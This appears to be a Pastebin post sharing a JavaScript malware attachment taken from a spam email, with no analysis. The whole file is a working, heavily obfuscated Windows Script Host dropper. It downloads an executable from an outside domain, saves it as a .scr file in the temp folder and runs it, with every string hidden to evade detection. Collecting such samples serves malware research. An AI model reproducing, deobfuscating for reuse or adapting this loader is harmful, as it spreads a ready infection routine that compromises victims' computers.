Advertisement
goebelmasse

Javascript-Schadsoftware-Anhang aus einer Spam

Feb 1st, 2016
519
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function aXhHfq6JQ () {
  3.     var aGZT65DXl = new this['Ac' + ('EL6', 'KZDkUz', 'QSS', 't') + '' + ('JKZA', 'uxIWPH', 'Ok', 'i') + '' + ('5xlQ', 'Zarz', 'hslL', 'v') + '' + ('v2', 'qxe9u', 'RC', 'e') + 'X' + ('3l', 'AH8', 'Gj', 'O') + 'b' + ('MRJ', 'CM', '8PU', 'j') + 'e' + ('8IR', 'At', 'Lx', 'c') + '' + ('87', 'gO', 'P4gH', 't') + '']('WS' + ('ACsp', '2MEK', 'Ql7V6', 'c'.split("").reverse().join("")) + 'ri' + ('aNtl', 'hQ', 'm7AawV', 'p'.split("").reverse().join("")) + 't.' + ('obF', 'XjbC', 'wK', 'S'.split("").reverse().join("")) + 'h' + ('prNcV', 'fc', '9z6KJC', 'e'.split("").reverse().join("")) + 'll' );
  4.     var aGzP5vA1b = aGZT65DXl['Ex' + ('3GqtE', 'FgUb0', 'Op', 'p') + '' + ('CoLSA', '1aRLU', 'qpeu', 'a') + '' + ('XJpCZ', 'O0l', 'pOf1c', 'n') + '' + ('NLVXCG', '67glBl', 'z5', 'd') + '' + ('5J', '54', 'vSSx5', 'E') + 'n' + ('SEmP', '3Gn', 'XI', 'v') + 'i' + ('Ilo', 'xu', 'yAWb6P', 'r') + '' + ('UY5ND', 'CUvj', 'Gg0', 'o') + '' + ('JNYR', 'sJT', 'G4', 'n') + '' + ('9Nq7', 'dKlPFR', 'Xx', 'm') + '' + ('0YGOXy', 'qh', 'tX', 'e') + '' + ('tgqTo', '79E', 'Ov6M3v', 'n') + 't' + ('uq', 'sY1Sg3', 'eaY', 'S') + 't' + ('oBPH', 'ZlGNR', 'AVjjZ', 'r') + 'i' + ('SgJT8', 'Xue8sW', 'Rxoy', 'n') + '' + ('UXb', 'LLH45', 'SQA9z', 'g') + '' + ('zrM', 'zfK86i', 'FzVz', 's') + '']('%T' + ('iT3m', 'LfPmoo', 'GYhtMQ', 'E'.split("").reverse().join("")) + 'MP' + ('ZPOwu', 's4U', 'qdtu', '%'.split("").reverse().join("")) + '' ) + String ['f' + ('PiC', 'HsU', 'JnrA6', 'r') + 'o' + ('VM7q', 'zv', '9V', 'm') + '' + ('qR6GH', 'jV5', 'PKvdc', 'C') + '' + ('aHf', 'OF7nac', '6ubw', 'h') + '' + ('d3F', 'YKjO', 'P1HV', 'a') + '' + ('CAPrgX', 'q9mxDx', '0P', 'r') + '' + ('uO', 'f7', 'KWSsSd', 'C') + '' + ('NaW3', 'Lu', '81U', 'o') + 'd' + ('Uv', 'YZc', 'ej', 'e') + ''](92) + arguments[1];
  5.     var aaIGD7F8N = new this['Ac' + ('Ir9', 'LEJVAN', 'mi', 't') + '' + ('jeap', 'FN', 'EZ', 'i') + '' + ('jXRzGi', 'C4nm0', '93krnO', 'v') + 'e' + ('YbLEY', 'iYZbhX', 'RE', 'X') + '' + ('grYD', 'WMvg', 'T40', 'O') + 'b' + ('bg', 'a9098', 'r6', 'j') + '' + ('KCT', '4S', 'vOr14', 'e') + 'c' + ('9GqdSH', '2QVcZ7', '6nWQ0', 't') + '']('MSX' + ('IxA', 'YBBE', 'LlXY', 'M'.split("").reverse().join("")) + 'L' + ('TgwOs', 'W6Ck', 'tk', '2'.split("").reverse().join("")) + '.X' + ('oBTZ', 'RB', 'w8vR5', 'M'.split("").reverse().join("")) + 'L' + ('Lnl', 'cNN', 'Tq', 'H'.split("").reverse().join("")) + 'T' + ('TNPfcq', 'bz', 'Mj', 'T'.split("").reverse().join("")) + 'P' );
  6.     aaIGD7F8N['on' + ('o0htLF', '3RCR0w', 'tsb', 'r') + '' + ('rtI', 'EhAq', '7lpw', 'e') + '' + ('Z8mOb', 'q3e', 'lIpwZG', 'a') + 'd' + ('py6H', 'xi', 'THM', 'y') + '' + ('MnMA', '01Cf', 'XXnuW4', 's') + '' + ('t1v', 'a2', 'rWce', 't') + '' + ('1znB8', 'DLC', 'JAZdw', 'a') + '' + ('VxIqI', 'tckpoz', '0A9n', 't') + '' + ('LP3', 'rMY', '0utH', 'e') + '' + ('qQ', 'jjWEI', 'dil', 'c') + 'h' + ('J0Ku', 'OSgBRG', 'lajLb', 'a') + 'n' + ('U3URI', 'cWVyK', 'hK8', 'g') + 'e'] = function() {
  7.         if (aaIGD7F8N['re' + ('EQyvxa', 'HuCTee', 'i8F1LR', 'a') + 'd' + ('pH5Gr', 's1b', 'SK', 'y') + 's' + ('Vu7p', '1E', 'OXu', 't') + '' + ('flWWLD', 's5', 'U7r', 'a') + '' + ('cE', '78yx', 'zcA', 't') + '' + ('4S', 'kd', 'hZ', 'e') + ''] === 4) {
  8.             var afYTKzUWX = new this['A' + ('OzmV', 'oV', '3lk', 'c') + '' + ('Rst43R', '7Jm', 'XqJW', 't') + '' + ('oX', 'KSE9O', 'dacp44', 'i') + 'v' + ('8Vom', '7I', '58f1', 'e') + '' + ('pfV', '8z', 'Wrx', 'X') + '' + ('XbHOI', 'K7cNeU', 'k3x', 'O') + '' + ('QLA', 'WIlgF', 'OLqLW', 'b') + '' + ('FYkM', '71', 'pl', 'j') + '' + ('HsOt3A', 'LWGq', 'uc9f9', 'e') + '' + ('PfaBqh', 'uHZCF', '4ta84', 'c') + 't']('ADO' + ('glJ', 'yT1Hb', 'xr19Ri', 'D'.split("").reverse().join("")) + 'B.' + ('ZLXE', '28Ca', 'c4d', 'S'.split("").reverse().join("")) + 't' + ('WfYQ', 'G18', 's9m', 'r'.split("").reverse().join("")) + 'e' + ('8FsU', '6mEfZ', 'scUFFk', 'a'.split("").reverse().join("")) + 'm' );
  9.             afYTKzUWX['op' + ('sbY', 'kcWt', 'gVHV', 'e') + '' + ('xuYcK', '2caWRQ', 'tLz', 'n') + '']();
  10.             afYTKzUWX['ty' + ('qhKm', 'jCH0y', 'C6', 'p') + 'e'] = 1;
  11.             afYTKzUWX['wr' + ('jzl', 'KhmB', 'Qm8M', 'i') + '' + ('cCrzn', 'c4LK9', 'QIY', 't') + '' + ('yu', 'iMUT', 'Lgt', 'e') + ''](aaIGD7F8N['Re' + ('Ke', 'jBnvG', 'gQ', 's') + 'p' + ('zu', 'B3K', 'mw', 'o') + '' + ('SPw', 'n8w', 'm9', 'n') + '' + ('wXFFdv', 'k4', 'AGIlQ', 's') + '' + ('UkKKR5', 'ZC', 'mMG', 'e') + '' + ('EZX', 'v8bAOL', 'x66', 'B') + 'o' + ('1WJMOO', 'Or9adQ', 'wuvu', 'd') + '' + ('Dy', 'rjQY', 'XApZ', 'y') + '']);
  12.             afYTKzUWX['p' + ('lXGap', 'kDHQ9b', 'Eyl', 'o') + '' + ('VI', 'MHRK', 'hKO', 's') + '' + ('aock', '2FrJvB', 'QfucxA', 'i') + '' + ('1VW', 'Feaq3A', 'eY9yMc', 't') + '' + ('WJP', 'A5nNCX', 'SZQPRw', 'i') + '' + ('W7', 'TlB3U', 'g8C', 'o') + '' + ('s5sxsg', 'qb', 'p2', 'n') + ''] = 0;
  13.             afYTKzUWX['s' + ('Vjv3', 'ooxsiV', 'qxVj0', 'a') + '' + ('xt2IU', 'Lkf', 'COzWj', 'v') + 'e' + ('I1pakl', 'LTO4TP', 'rjS9e6', 'T') + 'o' + ('lyba', '7t', 'ZcLpn', 'F') + '' + ('gRD5V', 'VLYe', '7tJ22', 'i') + '' + ('dgJlJ', 'lWfK', 'lvz', 'l') + '' + ('E8', 'zTFOx', 'hhQjn', 'e') + ''](aGzP5vA1b, 2);
  14.             afYTKzUWX['cl' + ('aSnDd', 'TYC', 'ucr', 'o') + 's' + ('zkqtZf', 'Mx', 'CRG', 'e') + '']();
  15.         };
  16.     };
  17.     try {
  18.         aVizCIRho = 'Ru' + ('ehIS', '1LtE', 'YQ', 'n'.split("").reverse().join("")) + '';
  19.         aaIGD7F8N['op' + ('1W8vW', 'wJV', 'mMwqaR', 'e') + 'n']('GE' + ('xXAjq', 'ko6', '0ONXW', 'T'.split("").reverse().join("")) + '' , arguments[0], false);
  20.         aaIGD7F8N['se' + ('PDg', '02brd', '6F', 'n') + 'd']();
  21.         aGZT65DXl [aVizCIRho](aGzP5vA1b, 0, 0);
  22.        
  23.     } catch (er) {};
  24. };
  25. aXhHfq6JQ('htt' + ('cY3ri', 'x4tl', 'riblD0', 'p'.split("").reverse().join("")) + ':/' + ('FZWRq9', 'xPvcsI', 'wa', '/'.split("").reverse().join("")) + 'j' + ('Ixs4pT', 'Af0', 'eUhdQ', 'k'.split("").reverse().join("")) + 'a' + ('02cQy', 'igy', 'r1N9zf', 'a'.split("").reverse().join("")) + 'a' + ('9AzoAb', 'usRlB', 'mEIc', 'h'.split("").reverse().join("")) + 'k' + ('utF', 'UH6', 'gl', '9'.split("").reverse().join("")) + '9' + ('vRP', 'r0xWto', '5TE', '.'.split("").reverse().join("")) + 'as' + ('QVIkp', 'Dj5', 'nl6EA', 'i'.split("").reverse().join("")) + 'a/' + ('qvYr2', 'Vqc0kR', 'WHEF2', 'b'.split("").reverse().join("")) + '.' + ('Gn8', 'Ltwq', '7W', 'e'.split("").reverse().join("")) + 'x' + ('UWFPR', '2R', 'TAnB', 'e'.split("").reverse().join("")) + '' , '06' + ('LoQg1L', 'HB4', 'DVfxwD', '3'.split("").reverse().join("")) + '0' + ('GL5M5N', 'QgH6at', '0JxM', '3'.split("").reverse().join("")) + '72' + ('n03', 'Wi', 'sWGe', '7'.split("").reverse().join("")) + '47' + ('koy7', 'on5', 'yzZy', '.'.split("").reverse().join("")) + 's' + ('lfLIg', 'Jd8hF4', 'UGqe5Y', 'c'.split("").reverse().join("")) + 'r' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement